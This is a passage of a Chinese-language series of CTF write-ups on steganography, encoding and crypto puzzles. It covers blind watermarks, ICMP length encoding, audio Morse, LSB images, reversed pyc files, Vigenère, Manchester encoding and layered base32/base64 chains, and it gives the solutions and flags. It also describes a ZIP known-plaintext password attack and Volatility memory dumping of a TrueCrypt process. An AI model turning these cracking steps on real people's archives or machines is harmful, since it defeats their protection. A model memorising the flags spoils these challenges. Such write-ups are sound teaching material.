6.点击start,开始对比筛选key,速度很快,一会就解密成功,如下所示:7.筛选很快,完成后会出现三个加密密钥,点击后面导出,即可将加密的ZIP包另存为空白的ZIP包,如下所示:8.解压出来是这样,有fuli.png和fuli2.png,这里是使用了盲水印隐写。 9.合成盲水印图: 盲水印用到的py脚本可以在github上下载,https://github.com/chishaxie/BlindWaterMark,使用时需要安装前置opencv-python库 python bwm.py decode fuli.png fuli2.png wm_out.png 10.成功拿到flag: 五十六、流量文件隐写之length序号转asciiwriteup:1.先下载压缩文件,然后解压文件,得到一个wireshark的数据包文件,用wireshark打开。并且题目提示ping,那么ping属于icmp协议,过滤icmp协议 按照时间顺序排序,发现包的长度有规律,并且都是request和reply一对应答和响应包 2.我们得到一组数:144,150,139,145,165,120,139,91,160,93,167,70 ,这里需要将十进制转换成ascii,通过在线转发现很多不可转,可能出现偏移,这里用python来处理转换出现偏移的问题:3.最终得到flag:flag{Na1v3}五十七、音频的隐写writeup:1.下载音频文件,另存为mp3文件,然后通过Audacity软件打开,播放,发现有滴滴答答声音,猜测可能是摩尔斯密码。2.这里我们将播放音频放大(视图--放大),可以看到音频的宽度有细,有厚,也有一段暂停。比较细的就是短音也就是音频宽度细,代表"." 比较粗的就是长音也就是音频宽度厚,代表"-" 中间的间隔就是“ ”3.根据以上,将其翻译成摩尔斯字符:.... .-.. . .. -.-. .. -.-. - ... - .-- --- --- -.-. ..-. . -- -.-. -. .----4.通过crackt00ls解密出摩尔斯密码:5.得到字符串:HLEICICTSTWOOCFEMCN1 6.发现该字符串看起来像栅栏密码,然后对其解密,发现其中包含ctf就是我们的flag。7.最终获得flag:flag{HIWELCOMETOCISCNCTF1} 五十八、zip的明文攻击writeup:1.下载一个压缩包,解压后得到一个readme.tex文件以及一个加密的压缩文件desktop.zip,其中也包含了readme.txt文件2.将readme.txt文件通过winrar文件压缩成readme.zip3.对比readme.zip和desktop.zip的readme文件的CRC32的值是一样,那么这里考虑进行明文攻击4.通过Advanced Archive Password Recovery4.53版本对 zip进行明文破解 最终得到flag:flag为:flag{7ip_Fi13_S0m3tim3s_s0_3a5y@}五十九、png图片隐写之bmp图片基础知识:LSB,最低有效位,英文是Least Significant Bit 。我们知道图像像素一般是由RGB三原色(即红绿蓝)组成的,每一种颜色占用8位,0x00~0xFF,即一共有256种颜色,一共包含了256的3次方的颜色,颜色太多,而人的肉眼能区分的只有其中一小部分,这导致了当我们修改RGB颜色分量种最低的二进制位的时候,我们的肉眼是区分不出来的。一般BMP图片格式存在LSB隐写居多。writeup:1.下载一个文件,通过winhex打开,发现文头部数据是png,那么这里将文件后缀名改成.png,即可看到图片2.怀疑该文件存在隐写,通过stegslolve工具打开,查看图片的不同通道,这里在green plane 0通道发现有隐藏的比特位数据,那么就是LSB隐写3.用stegslolve工具data extract功能提取出G通道的green plane 0比特位的数据4.导出的数据通过winhex打开,发现和bmp图片格式非常像5.这里将47 4C 修改填充为 42 4D6.并另存为.bmp图片格式文件7.最终得到flag:flag{D0_n07_10se_y0ur_he4rt} 六十、反转pyc文件隐写之zip伪加密包含的mp3文件writeup:1.下载.Py.pyc文件用winhex打开,发现关键字tprycne typ.g41fz字符,该字符看起反转了。其中使用了Python 的EncryptPYT库进行加密 2.编写python脚本,并将整个文件反转过来存储,脚本如下:f = open('Py.py','wb') with open('PyHaHa.pyc','rb') as g: f.write(g.read()[::-1]) f.close()3.通过winhex打开保存的Py.pyc文件,发现末尾添加了2个flag信息,以及末尾添加一个MP3格式文件4.通过foremost提取文件5.Window下打开zip,发现注释信息含两段flag密文6.发现该文件存在伪加密,通过工具ZipCenOp.jar对00000000002.zip压缩文件进行伪加密破解(0908替换0008就可以) 7.解压出压缩文件,发现有一个mp3文件8.Mp3用DeEgger Embedder工具的extract files功能提取得到包含多段base32的数据9.通过base32解密,明文是一段字符串。再次通过base32转码发现尾部字母存在差异: 10.猜测相差为1的隐藏数据为1,相差为0的隐藏数据为0,其中base32数据尾部排除=号的不参与编写数据,写脚本转换将base32解码可得到0和1的字符 11.得到的0和1数据其实是一张二值图像,通过脚本将其转换为png图片,转换出来只不过后半部分被加密了,加密算法应该是在刚刚的pyc里。图片: 12.对py.pyc进行分析,发现.pyc的文件头03F30D0A缺少,以及该文件中添加隐藏了一个zip文件。这里通过winhex打开我们解压得到对00000000002.zip文件分析,发现是PK字符串开头(50 4B 0304) 13.因此,在py.pyc中先添加文件头03F30D0A,并搜索关键字PK(50 4B 0304),然后删除zip数据。14.通过选择选快开始位置然后选快尾部位置,然后按del即可删除块区域 15.然后另存为flag.pyc.通过在线反编译可发编译出源代码出来: https://tool.lu/pyc/ #!/usr/bin/env python # visit http://tool.lu/pyc/ for more information from os import urandom def generate(m, k): result = 0 for i in bin(m ^ k)[2:]: result = result << 1 if int(i): result = result ^ m ^ k if result >> 256: result = result ^ P continue return result def encrypt(seed): key = int(urandom(32).encode('hex'), 16) while True: yield key key = generate(key, seed) + 0x3653C01D55L def convert(string): return int(string.encode('hex'), 16) P = 0x10000000000000000000000000000000000000000000000000000000000000425L flag1 = 'ThIs_Fl4g_Is_Ri9ht' flag2 = 'Hey_Fl4g_Is_Not_HeRe' key = int(urandom(32).encode('hex'), 16) data = open('data.txt', 'r').read() result = encrypt(key) encrypt1 = bin(int(data, 2) ^ eval('0x' + hex(result.next())[2:-1] * 22))[2:] encrypt2 = hex(convert(flag1) ^ result.next())[2:-1] encrypt3 = hex(convert(flag2) ^ result.next())[2:-1] print 'flag1:', encrypt2 print 'flag2:', encrypt3 f = open('encrypt.txt', 'w') f.write(encrypt1) f.close() 16.分析脚本发现flag1和flag2的密文在前面的zip注释信息已给出,脚本对三段明文使用了同个Seed做了加密,其中后两段明文和密文还有第一段的密文已知,考虑OTP加密。 其中encrypt实现的是一个256bit随机数生成器的功能,generate实现的是在有限域GF(2^256)下的平方运算:new_key=(old_key+seed)^2 因此,先由后两段明文和密文算出key2和key3,再在GF(2^256)下进行开方即可得到seed,key3 = (key2+seed)^2 再由第一段密文(即base32隐藏的数据)key1和seed解得key1 Key2= (key1+seed)^2 17.最后写脚本通过上面的加密过程写出解码脚本如下:(最后对第一段密文(即base32隐藏的数据)和22次叠加的key1做异或得到原始二进制数据) 18.恢复数据考虑二值图像,写脚本转换为png:19.最终得到flag:Flag:flag{H4pPy_pY_C0dlng} 六十一、虚拟vmem磁盘文件隐写writeup:1.使用volatility imageinfo -f mem.vmem查看内存映像 python vol.py imageinfo -f mem.vmem 2.使用volatility 查看WinXPSP2x86 进程,并发现一个特殊进程为TrueCrypt.exe,进程值为:pid(2012),该进程的程序为加密磁盘的工具。python vol.py psscan -f mem.vmem --profile=WinXPSP2x863.使用volatitility工具导出内存数据volatility -f mem.vmem --profile=WinXPSP2x86 memdump -p 2012 -D /tmp 6.打开EFDD,并挂载加密磁盘 7.查看挂载磁盘中的flag 六十二、维吉尼亚密码题目内容:题目给出了一段很长的字符,如下 :ohvab oorbfb ooykabe qsmnooxsu fehgsn i gwlznatwbs nfewbkcwohg hvxooyhfp khbhcqwzyhbqohyykaehbm nflvbscwtzrzb it ogsuswbpeyqqwps sfezo rspkeo rswtzoh uqvmbrbqd erkkqw h tzpxwzgzfq werzfilvbkk fewbrcfoo xkfflpjccfkpbkcwtzrkfk weyyfqlvgcvxk hg rkqdrjetchpdztq bercs pboxhs pbvgcsf dpipfpkpq hvitpj k xxywjckxop jhvxohyyfit erzfplebr bioeysnalexsfilvgcvioj jhcwopyykaewx kk ptpqunccbushxcp ohvab oorbfb ooykabe qsmnooxsu fehgsn i gwlznatwbs nfewbkcwohg hvxooyhfp khbhcqwzyhbqohyykaehbm nflvbscwtzrzb it ogsuswbpeyqqwps sfezo rspkeo rswtzoh uqvmbrbqd erkkqw h tzpxwzgzfq werzfilvbkk fewbrcfoo xkfflpjccfkpbkcwtzrkfk weyyfqlvgcvxk hg rkqdrjetchpdztq bercs pboxhs pbvgcsf dpipfpkpq hvitpj k xxywjckxop jhvxohyyfit erzfplebr bioeysnalexsfilvgcvioj jhcwopyykaewx kk ptpqunccbushxcp ohvab oorbfb ooykabe qsmnooxsu fehgsn i gwlznatwbs nfewbkcwohg hvxooyhfp khbhcqwzyhbqohyykaehbm nflvbscwtzrzb it ogsuswbpeyqqwps tqgnru tq gn fl j tt hgmvilxbmeaw,ylrfi w e rkk q t p gsn ,feh gsn feh gmn fehj hfqdlyaeqder kk qwerk kqwyaacswxybxyw j qqp pc jqq poerrutqcxlaek,.nh.,am,.uzw,ebsxxghgzbspugdbvkezbvytyzzeqwrzheqlxelcx rbylwxmprhdqlrxhdxezj,hfilpbzka bethvq eprsvqeprsv qeprs sfepgpvfb,mgssq wd u vt k c pqqyqgyasdxgszzv ognrutoespsx feptvkqgej kkqw{ erhvstpt} Cgeut Fxuunabs Kgsqsi, trjzu qdvop, kpk n rgwtl fudstl ryosel nu fvt zbvd kwwa uts Rzejehxsa Cdcizrse* Grzbpx gtl giq pdqf gdst. Sa vzwczncuhtv upggt gs uic hlbsqmh kgpar pl giq paaae qbs, vrumqwwq gdcb agt zsxyucaigk vo m gfmnsq ugghop. Hww butsg zbvesh gs uts hlefqh, rgatowdmf pr rturof zxnrt iwizvo fvte, tblss sg pzs pfbutsg ovut pggjo uaeweugfqsomq tpurt.Fvt xbsysg lrombi gs pgf wghtq, o ejvfeh, wsq euss aa uts qspl pfpovos-fdgz. Buf, bmfuk tggz imjxft cqsc dbos scuypess, zhos wc sym fvt jbpyg, pfq uts lsfuq fdgz cqvxfq uts zagdtsc ont xwilrsqr lagi azs mffxshk cbbsgk. Nnabv lufes X xbvzr p xrx boewe-dajtjre ncdcf, uts estfe cu oujov lwef oigdre mbs vnnb: Hww Ncnci, tl Xmziwe Tocil, Giq Rtnbvf Qdezvzwrsau, mbs Luf Ysbgvse cu Nveaqf. A yjwss luf xohl ofeh qwpbggt agt xspnrt isgw lfxzdo. Giq kxdq hmfswa cqvxfq uts wghtq qdfgbubtv n dqbijnm mdedr- udst sae m tto fudovyyjzu qmfiqg, jfqfd ccw bg ivxuu J rcjfq uts asgf fscsau*e fjkgz nwrqpmq-djec. Iq vpv ofqb p nrsk qwsejfoqdr qdwtkg; jz vxk jjxz ww ubp ztxg bxz waf nabtq gp ubhlvughxgat mbs luf rigfvugft gs iug wghtq hd zvt ewhlrs.Tsgw vt kcg xybs:xaxybs{W_Zf0j_o0fvxft} bpozva,tmbscwozjzvaghbucqfzpqv,scpguyyx;ezuijpdsdoepisdef,e hgsyfherv kqheu hvttpuh,kqhsgsyfp vkyjcpckd bekxhtbtmw gsyfesg fodgpgukq hervnfemthsfgrzhcxgxthvstpth.xzgegukqgeruk,nlrddsvsaelkqgmga;etmeapy; ylpt;ayxt;xyv;dfewg;ucf;mwru;dflpt;acspdclhvsqceorqexavxksgacqkxyhbyg wxhdxevtacfgqthvstpth;dygwzywn myraxtkiczwwg dwdkwerzzkzes gsbnipyysf bercfnler pkqbxgsdxomyhv n tpohvnoxgzvabwzhfaex ohvqnxoheqmwxucbmwgs nnmeybvylmgsdxbzahvs beysbxmmxudxf rozdsmwoykqerzzbeuh gpdxe;xohcq;mmyh;dq dxypbyewqysylerybvprfu xnmwra;bnm;rxpd;fgx;o rvnoebscni norc qsmkxft-sacb. Svs, yihll gdcb znwubv trfz zdft fzqagffp, vjft jz oad giq fdgzt, mbs luf norc qsmkxft-sacb. Svs, yihll gdcb tndw rgsjjzu-ggbn. Mwg, ehtfm ujbn tokaah nstf ypzu tfpmagtv, uvzu xf nmx hww epaah, sae fvt tndw rgsjjzu-ggbn. Mwg, ehtfm ujbn tokaah nstf ypzu tfpmagtv, uvzu xf nmx hww epaah, sae fvt 提交:flag格式:flag{} 基础知识:维吉尼亚密码是在凯撒密码基础上产生的一种加密方法,它将凯撒密码的全部25种位移排序为一张表,与原字母序列共同组成26行及26列的字母表。另外,维吉尼亚密码必须有一个密钥,这个密钥由字母组成,最少一个,最多可与明文字母数量相等。维吉尼亚密码加密方法示例如下: 明文:I've got it. 密钥:ok 密文:W'fs qcd wd. 首先,密钥长度需要与明文长度相同,如果少于明文长度,则重复拼接直到相同。本例中,明文长度为8个字母(非字母均被忽略),密钥会被程序补全为“okokokok”。现在根据如下维吉尼亚密码表格进行加密: 明文第一个字母是“I”,密钥第一个字母是“o”,在表格中找到“I”列与“o”行相交点,字母“W”就是密文第一个字母;同理,“v”列与“k”行交点字母是“F”;“e”列与“o”行交点字母是“S”…… 在维吉尼亚密码中,发件人和收件人必须使用同一个关键词(或同一段字母),这个关键词告诉他们怎么样才能前后改变字母的位置来获得该段信息中的每个字母的正确对应位置。比如:如果关键字为“BIG”,发件人将把明文中的第一个字母按“B”行来加密(向后移动1个位置,因为B是排在A后面的第1个字母),明文中的第二个字母按“I”行来加密(向后移动8个位置,因为I是排在A后面的第8个字母),明文中的第三个字母按“G”行加密(向后移动6个位置,因为G是排在A后面的第6个位置),后面再循环操作即可完成加密任务。 例如: 明文:THE BUTCHER THE BAKER AND THE CANDLESTICK MAKER。 密钥:BIG 密文:UPK CCZDPKS BNF JGLMX BVJ UPK DITETKTBODS SBSKS 维吉尼亚密码只对字母进行加密,不区分大小写,若文本中出现非字母字符会原样保留。如果输入多行文本,每行是单独加密的。writeup:1.这里使用一个在线维吉尼亚密码解密网站:https://www.guballa.de/vigenere-solver 打开网站,粘贴字符 选择语言为英文,然后输入密钥范围,一般不会太长,点击解密即可 2.将result结果复制到记事本中,搜索关键字flag,即可找到falg: 3.另一种方式:根据密文xybs:xaxybs{W_Zf0j_o0fvxft}的格式,猜测明文格式可能为,flag:jlflag{……}发现有重复的字母映射,猜测为维吉尼亚密码加密 由密文-->明文:(列为明文,行为密钥,交叉点为密文) xybsxaxy -->flagjlfl x-->f,推出第一个密钥为s y-->l,推出第二个密钥为n b-->a,推出第三个密钥为b s-->g,推出第四个密钥为m x-->j,推出第五个密钥为o a-->l,推出第六个密钥为p x-->f,推出密钥为s y-->l,推出密钥为n 第7位后,密钥开始循环,所以 推出密钥:snbmop 4.根据在线工具可以获得xybs:xaxybs{W_Zf0j_o0fvxft}的明文: 5.终解密出:flag:jlflag{I_Kn0w_n0thing}6.根据给出提交flag格式最终为: flag{I_Kn0w_n0thing} 六十三、二维码修复writeup:1.看到二维码,第一件事就是先扫一下。发现扫不了,那么就肯定是码有问题了。 左下角的小狗挡住了呢,通过ps修复工具对其进行修复。(修复了定位点) 2.然后保存,通过现在QR识别工具即可识别出二维码 http://cdn.malu.me/qrdecode/ 3.最终得到flag:flag{QR_C0d3_I5_Fin3?} 六十四、word隐写之pgp解密writeup:1.解压压缩包得到如下文件:2.打开word文件,感觉里面隐藏了字符,在word选项中显示隐藏文字,并全部选择,字体颜色为红色 3.得到 TrueCrypt 的第一个密钥是TCCISCN2016,第二个隐藏密钥为:tcCISCNCTF2016,PGP 的密钥是 PGPCISCNCTF20164.使用TrueCrypt挂载CISCN2016,这里使用第一个密钥TCCISCN2016: 5.使用第二个密钥tcCISCNCTF2016重新挂载,发现了PGP的私钥:6.将两个asc安装到PGPdesktop中,然后使用word中的密钥解密secret文件这里导入2个asc文件。7.然后进行解密8.输入密码: PGPCISCNCTF2016 六十五、PNG图片隐写二writeup:1.用notepad打开文件,发现有一个特殊字符IHDR,该IHDR是png图片文件的文件头部数据块。 文件头数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。 最终得到flag:PCTF{SHIELD_Class_10_C4n_You_find_the_fl4g?} 六十六、vmdk虚拟磁盘之mp3文件隐写多次编码解码writeup:1.通过file命令查看文件类型2.然后修改为后缀名为.vmdk3.通过disk复制出mp4文件4.按照套路, 先打开mp4看一看, 是个二次元动画,根据插件的解析结果, 发现有一个未知类型的数据段, 可以直接显示成文本,然后,通过winhex查看,并复制粘贴到记事本中5.或者,在第一步的时候不要把后缀改成.vmdk,而是改成zip,再去解压缩也能得到这几个文件夹 6.打开这个文件的文档,发现一段可疑的数据,分别复制出来 7.得到十六进制字符串34413441343834353535353235333445344235413441353533343533333234463441344534333535333235363433353434413541343435353535353434333436344233353443343634373536343334433442354134343435344435363442353434393445344335353535353635333442343935413434353634353535333235313439333534433435344435363442344534423536343634363442353334423446344134453433353634463535333235343442333534363536343535323533353734393536344135343435353633323442344135413436343534423532344235333441344134423535353935323533343834393535354134363437353333323537344135323434343535393532344235343441353535413435343935333541353634393536344334363442353535323533344233353436343533343533343335363442333534413436343735343433344434413441343434363442353434423533344134453442353534463533353334443442353634413536344635353332344434413532343234353533353635333445344234443541343635313533353334463439354134333536344235353532353334413532343435353535353435333437344135363441353535373536333234423442344134333435344235353332353634413445344234353537353435333437344235413442353634353531333234383441344534433435353335363433343634423541343635353336353333323442343935413433353533323536343334433442353634363435333435323433343634413335344334363437353735333443344334413434343634443534344235323437344134353435353535333441353334423536344435363435353333323444343933353435353635353536353335343442344435413436343735333533353734393536343335353437353635333442344234453436353535353533343334363437344134373536343735363533344234423541343734353439353234423538344134453439343535333533353334363439354134373536343935333332353434413445343834353444353634423534344235413441353535393533344135363441353634433435353735363441353334433432343634353535353434333436343933353443343534373536343334433443344134343436344435343332353534393445343235353539353235333434344235323437353634443535333235353441343634453435343935363442343634413535354134363446353335333437343933353442353534463536344135333441353234363436353535323533343634413445344135343435353433323442344135413433343634423536333235343442344534373435353335363533343834423541343535353332344435333438344134413445343535353532344235383442333534323536343935333332333234393445343335363533353535413533344134453436343634353531333235353439353634423536343735363433344234413541343434363444353434423535343934453434353535373532344135333439353634343536344235313332344434413532343634353435353635333530344235413445343634443532333234423441353234333534343935363442353434413445343535363535353334333537344134453442343534373534344234413437353634373435344235333442353334423445343634353537353735333433344235363434353634373535353335373441344534383435353935363533353434423536344135363437353335413536343935413443343534423536353235333439333534353536344435343433343734393335344234363437353434333443344235413437353634443535344235323437344134433535353735343533344534423535333234363442353533323441344134453445343534373536353334453442344534413536343535333532353534373441344235363446353535333434343935323436353634443533353335363437354134423435353735363332344234413541343635353442353633323537344234453437343535393531353334373442354134333536343335353332343834413435333235353332353634423541344235323432353535313533344235363443344134423535333235353332344234423445343435353535353434333536344234453443353634373533343334433443344134343436344234453433353534393445344135353535353435333444343935413437353634443533353335363441344534393536353535323533353034423444354134363446353335333446344135363434343534373536353335343439353234373435344435333433353634393536344234353437353235333438344134413437343534423536344235373442344534363435353935333533343734423541343735363437353333323534344134453438343535353536344235383442333534413535343935333332353334393441344235343439353634413533344235413436343635353533353334363443343634413435353735343533344334423441343434363442353433323534344134443541343535393532353334443439353535413436344435353332343534413441343834353444353234333443344234453441353534463533353334453443344134333435344635363332343434413532343635353535353434333536344135363441343535373536353334433441354134353435344235363332353734413445344534353537353535333438344235413437353634333444353335373441344134343435344435323442353234423439354134353539353233323446343934413443343533323535353235333439344534363435333435323433353734413335344334353537353634423443344135413434343534443534344235343437344134423535353335343441353334393536344335363444353533323445344134363436343535373536344234433441354134413536344635333332344634393532344235363437353635333533344235363435353635353532344235373441333534413435343735353533344234413435354134363442353634423533344234453437343535353536353334343439354134393536343734443533353834413441344334353442353234423434344235413436343634373533333234423439354134433435343735363332344334393536343635353332344535333535343734413439343535333530343933448.将其转换成ascii字符,https://www.rapidtables.com/convert/number/hex-to-ascii.html 9.转完第一次得到:455132484A4E4C45535643464B5A46553653324B495A43553256434C4B564645345243464A354C464757534C4C4A44464D544B52474A454555534A534B564D564553324D49354556555653544B4D5A4647535357495643554756534B4B4E465555534346474A47564756534B4B5A474549524B584A4E494553535346495A4756495332544A4E48454D564B544B5A4A5559534A564A564C4557564A534C4246455554434649354C454756434C4C4A44464D543255494E4255595253444B5247564D5532554A464E4549564B464A555A464F53534749354B554F564A534A524646555253464A4E4A544554324B4A5A43464B5632544B4E4745535653484B5A4555324D53484A4A4E4555524B584B35425649533232494E435653555A534A4E46464551325549564B564756434B4A5A44464D544B55494E445557524A53495644564B51324D4A524645455653504B5A4E464D52324B4A52435449564B544A4E4556555343574A4E4B4547544B4A475647454B534B534B4E4645575753434B564456475553574A4E4845595653544B564A5647535A56495A4C454B565253493545564D54434749354B464754434C4B5A47564D554B52474A4C555754534E4B5532464B55324A4A4E4E454756534E4B4E4A5645535255474A4B564F555344495246564D535356475A4B455756324B4A5A46554B5632574B4E4745595153474B5A4356435532484A45325532564B5A4B52425551534B564C4A4B553255324B4B4E4455555443564B4E4C564753434C4C4A44464B4E4355494E4A555554534D495A47564D5353564A4E4956555253504B4D5A464F53534F4A56444547565354495247454D53435649564B45475253484A4A47454B564B574B4E4645595353474B5A4756475332544A4E484555564B584B354A5549533253494A4B5449564A534B5A4646555353464C464A455754534C4B4A44464B5432544A4D5A455952534D49555A464D5532454A4A48454D52434C4B4E4A554F53534E4C4A43454F5632444A524655555443564A564A455756534C4A5A45454B5632574A4E4E45575553484B5A4756434D53574A4A44454D524B524B495A455952324F494A4C4532555253494E4645345243574A354C4557564B4C4A5A44454D544B54474A4B5553544A5349564C564D55324E4A46464557564B4C4A5A4A564F53324F49524B56475653534B56455655524B574A354A454755534B4A455A464B564B534B4E474555565344495A4956474D53584A4A4C454B524B444B5A46464753324B495A4C454756324C49564655324E5355474A49455350493D10.继续转第二次得到JJHEURSNKZJU4S2OJNCU2VCTJZDUUTCFK5LFGVCLKZDEMVKTINLUUVSKIZDVEU2QI5LEMVKNKVFFKSKOJNCVOU2TK5FVERSWIVJTEV2KJZFEKRKSJJKUYRSHIUZFGS2WJRDEYRKTJUZEISZVIVLFKURSK5FE4SCVK5JFGTCMJJDFKTKSJNKUOSSMKVJVOU2MJRBESVSNKMZFQSSOIZCVKURSJRDUUTSGJVJUWV2KKJCEKU2VJNKEWTSGKZKVEQ2HJNLESVCFKZFU6S2KIZCU2VCLKVFE4RCFJ5LFGWSLLJDFMTKRGJEEUSJSKVMVES2MI5EVUVSTKMZFGSSWIVCUGVSKKNFUUSCFGJGVGVSKKZGEIRKXJNIESSSFIZGVIS2TJNHEMVKTKZJUYSJVJVLEWVJSLBFEUTCFI5LEGVCLLJDFMT2UINBUYRSDKRGVMU2UJFNEIVKFJUZFOSSGI5KUOVJSJRFFURSFJNJTET2KJZCFKV2TKNGESVSHKZEU2MSHJJNEURKXK5BVIS22INCVSUZSJNFFEQ2UIVKVGVCKJZDFMTKUINDUWRJSIVDVKQ2MJRFEEVSPKZNFMR2KJRCTIVKTJNEVUSCWJNKEGTKJGVGEKSKSKNFEWWSCKVDVGUSWJNHEYVSTKVJVGSZVIZLEKVRSI5EVMTCGI5KFGTCLKZGVMUKRGJLUWTSNKU2FKU2JJNNEGVSNKNJVESRUGJKVOUSDIRFVMSSVGZKEWV2KJZFUKV2WKNGEYQSGKZCVCU2HJE2U2VKZKRBUQSKVLJKU2U2KKNDUUTCVKNLVGSCLLJDFKNCUINJUUTSMIZGVMSSVJNIVURSPKMZFOSSOJVDEGVSTIRGEMSCVIVKEGRSHJJGEKVKWKNFEYSSGKZGVGS2TJNHEUVKXK5JUIS2SIJKTIVJSKZFFUSSFLFJEWTSLKJDFKT2TJMZEYRSMIUZFMU2EJJHEMRCLKNJUOSSNLJCEOV2DJRFUUTCVJVJEWVSLJZEEKV2WJNNEWUSHKZGVCMSWJJDEMRKRKIZEYR2OIJLE2URSINFE4RCWJ5LEWVKLJZDEMTKTGJKUSTJSIVLVMU2NJFFEWVKLJZJVOS2OIRKVGVSSKVEVURKWJ5JEGUSKJEZFKVKSKNGEUVSDIZIVGMSXJJLEKRKDKZFFGS2KIZLEGV2LIVFU2NSUGJIESPI=11.然后继续base32解码https://www.qqxiuzi.cn/bianma/base.php JNJFMVSNKNKEMTSNGJLEWVSTKVFFUSCWJVJFGRSPGVFUMUJUINKEWSSWKRFVES2WJNJEERJULFGE2SKVLFLESM2DK5EVUR2WJNHUWRSLLJFUMRKUGJLUSWSLLBIVMS2XJNFEUR2LGJNFMSKWJRDESUKTKNFVURCGKVITEVKOKJFEMTKUJNDEOVSZKZFVMQ2HJI2UYRKLGIZVSS2SJVEECVJSKJHE2MSVJVLDEWKPIJEFMTKSKNFUSVSLI5MVKU2XJJLEGVCTKZFVOTCCLFCTMVSTIZDUEM2WJFGUGU2LJZFEKS2OJNDUWSSLIVGVIM2GJZJEWWCTKZCEYS2KJRCTEUSTJNFVMTCGKE2EGUCLLJBVOVZVGJLE4USKIZHVKTCMI5LEIRSJKZBUGSRVKNLVSUSSK5FVEV2GIVLFGTSLKVMVQQ2WKNMU4USIKZCVMSSRJ42UWRCDKVJU6TKWJNKEWVSLLBFVEQSGI5MUYTCHIUZUMSJSGJLUSWSHKZFU4TCSJNLFMVJUKQZFOS2WJNMFCVSDLFHUETCFGJLEUVSJLJFVMSKSKNJUWWSDKRBU4U2VJZJEYRKNKRFUOSK2LFLE2VSDJNFDKSSGJMZDGWCLKJLUMRKVKNHEWVKZKRGVMQ2VJFFEQR2LGNBVMR2CJNDVOVKUKNFFMS2UIM2EWVSMIJKUKNSWKNDUSVRUIZEVORCRJI2UURSLJVCFQS2WJVEECVJSKJFVCWKEKM6T2PI= 13然后再一次继续Base32解码KRVVMSTFNM2VKVSUJZHVMRSFO5KFQ4CTKJVTKRKVKRBE4YLMIUYVI3CWIZGVKOKFKZKFET2WIZKXQVKWKJJGK2ZVIVLFIQSSKZDFUQ2UNRJFMTKFGVYVKVCGJ5LEK23YKRMHAU2RNM2UMV2YOBHVMRSKIVKGYUSWJVCTSVKWLBYE6VSFGB3VIMCSKNJEKNKGKJKEMT3FNRKXSVDLKJLE2RSKKVLFQ4CPKZCWW52VNRJFOULLGVDFIVCCJ5SWYRRWKRWFEVSNKUYXCVSYNRHVEVJQO5KDCUSOMVKTKVKXKRBFGYLLGE3FI22WIZGVKNLRKVVU4T2WKVKXQVCYOBLE2VJVIZKVIRSSKZCTCNSUNRLEMTKGIZYVMVCKJ5JFK23XKRWFEUSNKUYTMVCUIJHGK3CVGBKGWUTSJVKTC4KVLBUE6VSGIV4FIWDQJ5JFKMDXKVMHAU2RKQYDS=== 14.接着再一次继续base32解码 TkVJek5UVTNOVFEwTXpSRk5EUTBNalE1TlVFMU9EVTROVFUxUVRRek5EVTBRVFZCTlRVME5qUTFOVEkxTXpSQk5FWXpOVFJETlRVME9UVXpOVE0wT0RSRE5FRTFOelUyTkRVMFJUVXpOVEkwUlRWQk5FTTBOelF6TlRVMU1qVXlORU0wT1RNeU5UWTBSak16TkVFMU5qUkNOVUUxTXpVMU5FUTFRVE16TlVFMFFqVTJORUkwTlRRMU16TTBNelU0TkRrMU1qUXhOVFExTXpORU0wUXpSQT09 15.然后再base64解码 https://base64.us/ NEIzNTU3NTQ0MzRFNDQ0MjQ5NUE1ODU4NTU1QTQzNDU0QTVBNTU0NjQ1NTI1MzRBNEYzNTRDNTU0OTUzNTM0ODRDNEE1NzU2NDU0RTUzNTI0RTVBNEM0NzQzNTU1MjUyNEM0OTMyNTY0RjMzNEE1NjRCNUE1MzU1NEQ1QTMzNUE0QjU2NEI0NTQ1MzM0MzU4NDk1MjQxNTQ1MzNEM0QzRA==16.然后再一次继续base64解码 4B355754434E4442495A5858555A43454A5A55464552534A4F354C55495353484C4A5756454E53524E5A4C47435552524C4932564F334A564B5A53554D5A335A4B564B454533435849524154533D3D3D17.然后继续16进制转ascii K5WTCNDBIZXXUZCEJZUFERSJO5LUISSHLJWVENSRNZLGCURRLI2VO3JVKZSUMZ3ZKVKEE3CXIRATS===19.然后继续base32解码Wm14aFozdDNhRFIwWDJGZmR6QnVaR1Z5Wm5VeFgyUTBlWDA920.然后base64解码 ZmxhZ3t3aDR0X2FfdzBuZGVyZnUxX2Q0eX0=21.然后再继续base64解码22.最终得到flag:flag{wh4t_a_w0nderfu1_d4y} 六十七、曼彻斯特编码题目内容: 5555555595555A65556AA696AA6666666955,提示:曼联 基础知识: 在最初信号的时候,即第一个信号时:如果中间位电平从低到高,则表示0;如果中间位电平从高到低,则表示1。 后面的信号(从第二个开始)就看每个信号位开始时有没有跳变来决定:在信号位开始时改变信号极性,表示逻辑"0";在信号位开始时不改变信号极性,表示辑"1"。 writeup: 1.根据题目提示曼联,可猜测是曼彻斯特编码 2.通过python脚本进行解密: #!/user/bin/env python2 # -*-coding:utf-8 -*- n=0x5555555595555A65556AA696AA6666666955 flag='' bs='0'+bin(n)[2:] r='' def conv(s): return hex(int(s,2))[2:] for i in range(0,len(bs),2): if bs[i:i+2]=='01': r+='1' else: r+='0' for i in range(0,len(r),8): tmp=r[i:i+8][::-1] flag+=conv(tmp[:4]) flag+=conv(tmp[4:]) print flag.upper() 3.最终得到flg:flag{FFFFFED31F645055F9} 六十八、pyo文件反编译之反推flag字符writeup:1.下载附件发现有两个文件,包括pyo文件和一个flag.enc文件2 .pyc是由py文件经过编译后生成的二进制文件。而.pyo文件是python编译优化后的字节码文件。接下来把encrypt.pyo反编译成.py文件,通过在线反编译出pyo文件。http://tools.bugscaner.com/decompyle/ 3.最终得到反编译出的python代码:#! /usr/bin/env python 2.7 (62211)#coding=utf-8from random import randintfrom math import floor, sqrt_ = ''__ = '_'____ = [ ord(___) for ___ in __ ]_____ = randint(65, max(____)) * 255for ___ in range(len(__)): _ += str(int(floor(float(_____ + ____[___]) / 2 + sqrt(_____ * ____[___])) % 255)) + ' ' print _4.代码都是下划线_,看起来容易混淆,将其替换为有意义的变量,最终修改为:#! /usr/bin/env python 2.7 (62211) #coding=utf-8 from random import randint from math import floor, sqrt passwd = '' flag= '_' ordflag = [ ord(i) for i in flag ] #ordflag是flag中字符对应的ascii码 randI = randint(65, max(ordflag)) * 255 #randI是区间[65,flag中字符最大ascii码)内产生的随机数*255 for i in range(len(flag)): #循环次数为flag中字符个数 passwd += str(int(floor(float(randI + ordflag[i]) / 2 + sqrt(randI * ordflag[i])) % 